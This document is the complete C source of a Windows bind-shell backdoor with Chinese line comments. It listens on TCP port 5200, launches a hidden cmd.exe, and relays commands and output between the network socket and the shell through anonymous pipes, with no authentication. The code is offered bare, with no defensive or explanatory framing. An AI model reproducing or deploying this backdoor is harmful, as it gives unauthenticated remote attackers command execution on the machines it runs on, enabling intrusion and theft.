#include <winsock2.h> #include <stdio.h> #pragma comment(lib,"Ws2_32") int main() { WSADATA ws; SOCKET listenFD; char Buff[1024]; int ret; //初始化WSA WSAStartup(MAKEWORD(2,2),&ws); //建立socket listenFD=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); //監(jiān)聽本機5200端口 struct sockaddr_in server; server.sin_family=AF_INET; server.sin_port=htons(5200); server.sin_addr.s_addr=ADDR_ANY; ret=bind(listenFD,(sockaddr *)&server,sizeof(server)); ret=listen(listenFD,2); //如果客戶請求5200端口,接受連接 int iAddrSize=sizeof(server); SOCKET clientFD=accept(listenFD,(sockaddr *)&server,&iAddrSize); SECURITY_ATTRIBUTES pipeattr1,pipeattr2; HANDLE hReadPipe1,hWritePipe1,hReadPipe2,hWritePipe2; //建立匿名管道1 pipeattr1.nLength=12; pipeattr1.lpSecurityDescriptor=0; pipeattr1.bInheritHandle=true; CreatePipe(&hReadPipe1,&hWritePipe1,&pipeattr1,0); //建立匿名管道2 pipeattr2.nLength=12; pipeattr2.lpSecurityDescriptor=0; pipeattr2.bInheritHandle=true; CreatePipe(&hReadPipe2,&hWritePipe2,&pipeattr2,0); STARTUPINFO si; ZeroMemory(&si,sizeof(si)); si.dwFlags=STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; si.wShowWindow=SW_HIDE; si.hStdInput=hReadPipe2; si.hStdOutput=si.hStdError=hWritePipe1; char cmdline[]="cmd.exe"; PROCESS_INFORMATION ProcessInformation; //建立進程 ret=CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInformation); unsigned long lBytesRead; while (1) { //檢查管道1,即CMD進程是否有輸出 ret=PeekNamedPipe(hReadPipe1,Buff,1024,&lBytesRead,0,0); if (lBytesRead) { //管道1有輸出,輸出結(jié)果發(fā)給遠程客戶機 ret=ReadFile(hReadPipe1,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; ret=send(clientFD,Buff,lBytesRead,0); if (ret<=0) break; } else { //否則,接受遠程客戶機命令 lBytesRead=recv(clientFD,Buff,1024,0); if (lBytesRead<=0) break; //將命令寫入管道2,即傳給CMD進程 ret=WriteFile(hWritePipe2,Buff,lBytesRead,&lBytesRead,0); if (!ret) break; } } return 0; }
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